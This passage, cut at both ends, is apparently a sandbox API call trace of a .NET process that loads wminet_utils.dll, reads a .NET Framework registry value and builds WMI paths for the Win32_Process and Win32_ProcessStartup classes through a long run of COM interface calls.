nBufferLength=0x105, lpBuffer=0x1b2fc370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0055.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=65, lpMultiByteStr=0x1b2fc970, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dllË/\x1b", lpUsedDefaultChar=0x0) returned 65 [0055.805] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7fef7250000 [0055.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0055.841] GetProcAddress (hModule=0x7fef7250000, lpProcName="ResetSecurity") returned 0x7fef7254310 [0055.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurityñþ\x07", lpUsedDefaultChar=0x0) returned 11 [0055.854] GetProcAddress (hModule=0x7fef7250000, lpProcName="SetSecurity") returned 0x7fef7254390 [0055.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices\x9b\x02", lpUsedDefaultChar=0x0) returned 18 [0055.867] GetProcAddress (hModule=0x7fef7250000, lpProcName="BlessIWbemServices") returned 0x7fef7252840 [0055.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject°{pñþ\x07", lpUsedDefaultChar=0x0) returned 24 [0055.893] GetProcAddress (hModule=0x7fef7250000, lpProcName="BlessIWbemServicesObject") returned 0x7fef7252900 [0055.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandleû\x9b\x02", lpUsedDefaultChar=0x0) returned 17 [0055.914] GetProcAddress (hModule=0x7fef7250000, lpProcName="GetPropertyHandle") returned 0x7fef72538c0 [0055.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue\x9b\x02", lpUsedDefaultChar=0x0) returned 18 [0055.922] GetProcAddress (hModule=0x7fef7250000, lpProcName="WritePropertyValue") returned 0x7fef7254650 [0055.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0055.927] GetProcAddress (hModule=0x7fef7250000, lpProcName="Clone") returned 0x7fef72529c0 [0055.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0055.930] GetProcAddress (hModule=0x7fef7250000, lpProcName="VerifyClientKey") returned 0x7fef7254530 [0055.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0055.933] GetProcAddress (hModule=0x7fef7250000, lpProcName="GetQualifierSet") returned 0x7fef7253a40 [0055.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance\x07", lpUsedDefaultChar=0x0) returned 13 [0055.976] GetProcAddress (hModule=0x7fef7250000, lpProcName="SpawnInstance") returned 0x7fef7254480 [0055.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo{pñþ\x07", lpUsedDefaultChar=0x0) returned 9 [0055.977] GetProcAddress (hModule=0x7fef7250000, lpProcName="CompareTo") returned 0x7fef7252b30 [0055.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin\x04\x9c\x02", lpUsedDefaultChar=0x0) returned 17 [0055.981] GetProcAddress (hModule=0x7fef7250000, lpProcName="GetPropertyOrigin") returned 0x7fef7253980 [0055.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFromþ\x07", lpUsedDefaultChar=0x0) returned 12 [0055.988] GetProcAddress (hModule=0x7fef7250000, lpProcName="InheritsFrom") returned 0x7fef7253a80 [0055.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod{pñþ\x07", lpUsedDefaultChar=0x0) returned 9 [0055.989] GetProcAddress (hModule=0x7fef7250000, lpProcName="GetMethod") returned 0x7fef72536c0 [0055.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod{pñþ\x07", lpUsedDefaultChar=0x0) returned 9 [0055.994] GetProcAddress (hModule=0x7fef7250000, lpProcName="PutMethod") returned 0x7fef7253f30 [0055.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethodþ\x07", lpUsedDefaultChar=0x0) returned 12 [0055.998] GetProcAddress (hModule=0x7fef7250000, lpProcName="DeleteMethod") returned 0x7fef7253030 [0055.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration", lpUsedDefaultChar=0x0) returned 22 [0055.998] GetProcAddress (hModule=0x7fef7250000, lpProcName="BeginMethodEnumeration") returned 0x7fef72527f0 [0055.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodpñþ\x07", lpUsedDefaultChar=0x0) returned 10 [0055.999] GetProcAddress (hModule=0x7fef7250000, lpProcName="NextMethod") returned 0x7fef7253ba0 [0056.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration", lpUsedDefaultChar=0x0) returned 20 [0056.004] GetProcAddress (hModule=0x7fef7250000, lpProcName="EndMethodEnumeration") returned 0x7fef7253180 [0056.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x1b2fc9a0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet", lpUsedDefaultChar=0x0) returned 21 [0056.005] GetProcAddress (hModule=0x7fef7250000, lpProcName="GetMethodQualifierSet") returned 0x7fef7253790 [0056.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfoþ\x07", lpUsedDefaultChar=0x0) returned 12 [0056.142] GetProcAddress (hModule=0x7fef7250000, lpProcName="GetErrorInfo") returned 0x7fef7253590 [0056.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x1b2fc9b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initializepñþ\x07", lpUsedDefaultChar=0x0) returned 10 [0056.149] GetProcAddress (hModule=0x7fef7250000, lpProcName="Initialize") returned 0x7fef7253ad0 [0056.163] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b2fc908 | out: phkResult=0x1b2fc908*=0x2dc) returned 0x0 [0056.164] RegQueryValueExW (in: hKey=0x2dc, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x1b2fc948, lpData=0x0, lpcbData=0x1b2fc940*=0x0 | out: lpType=0x1b2fc948*=0x0, lpData=0x0, lpcbData=0x1b2fc940*=0x0) returned 0x2 [0056.164] RegCloseKey (hKey=0x2dc) returned 0x0 [0056.165] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0056.165] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0056.166] IUnknown:Release (This=0x111f638) returned 0x0 [0056.212] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1b2fd258 | out: lpiid=0x1b2fd258) returned 0x0 [0056.217] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x117f3e0) returned 0x0 [0056.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x117f3e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0056.286] WbemDefPath:IClassFactory:CreateInstance (in: This=0x117f3e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1168c00) returned 0x0 [0056.287] WbemDefPath:IUnknown:Release (This=0x117f3e0) returned 0x0 [0056.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1168c00) returned 0x0 [0056.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0056.289] WbemDefPath:IUnknown:AddRef (This=0x1168c00) returned 0x3 [0056.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0056.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0056.289] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x117f320) returned 0x0 [0056.289] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x117f320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.289] WbemDefPath:IUnknown:Release (This=0x117f320) returned 0x3 [0056.289] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0056.290] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0056.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0056.290] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x2 [0056.290] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x1 [0056.295] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0056.295] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0056.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1168c00) returned 0x0 [0056.295] WbemDefPath:IUnknown:AddRef (This=0x1168c00) returned 0x3 [0056.295] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x2 [0056.298] WbemDefPath:IWbemPath:SetText (This=0x1168c00, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0056.302] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168c00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0056.302] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0056.302] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0056.303] WbemDefPath:IWbemPath:GetInfo (in: This=0x1168c00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0056.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168c00, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0056.303] WbemDefPath:IWbemPath:GetInfo (in: This=0x1168c00, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0056.305] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0056.305] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0056.305] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0056.305] IUnknown:Release (This=0x111f638) returned 0x0 [0056.308] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x117f640) returned 0x0 [0056.308] WbemDefPath:IUnknown:QueryInterface (in: This=0x117f640, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0056.308] WbemDefPath:IClassFactory:CreateInstance (in: This=0x117f640, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1168fc0) returned 0x0 [0056.308] WbemDefPath:IUnknown:Release (This=0x117f640) returned 0x0 [0056.308] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1168fc0) returned 0x0 [0056.308] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0056.309] WbemDefPath:IUnknown:AddRef (This=0x1168fc0) returned 0x3 [0056.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0056.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0056.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x117f340) returned 0x0 [0056.309] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x117f340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.309] WbemDefPath:IUnknown:Release (This=0x117f340) returned 0x3 [0056.309] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0056.309] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0056.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0056.309] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x2 [0056.309] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x1 [0056.309] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0056.309] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0056.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1168fc0) returned 0x0 [0056.309] WbemDefPath:IUnknown:AddRef (This=0x1168fc0) returned 0x3 [0056.309] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x2 [0056.309] WbemDefPath:IWbemPath:SetText (This=0x1168fc0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0056.309] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168fc0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0056.309] WbemDefPath:IWbemPath:GetText (in: This=0x1168fc0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0056.309] WbemDefPath:IWbemPath:GetText (in: This=0x1168fc0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0056.309] WbemDefPath:IWbemPath:GetInfo (in: This=0x1168fc0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0056.310] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168fc0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0056.310] WbemDefPath:IWbemPath:GetInfo (in: This=0x1168fc0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0056.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168fc0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0056.318] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fc9b8 | out: ppv=0x1b2fc9b8*=0x111f638) returned 0x0 [0056.318] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fc9a8 | out: pAptType=0x1b2fc9a8*=1) returned 0x0 [0056.319] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x0) returned 0x80004002 [0056.319] IUnknown:Release (This=0x111f638) returned 0x0 [0056.320] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fbdd0 | out: ppv=0x1b2fbdd0*=0x117f620) returned 0x0 [0056.320] WbemDefPath:IUnknown:QueryInterface (in: This=0x117f620, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fbe18 | out: ppvObject=0x1b2fbe18*=0x0) returned 0x80004002 [0056.320] WbemDefPath:IClassFactory:CreateInstance (in: This=0x117f620, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 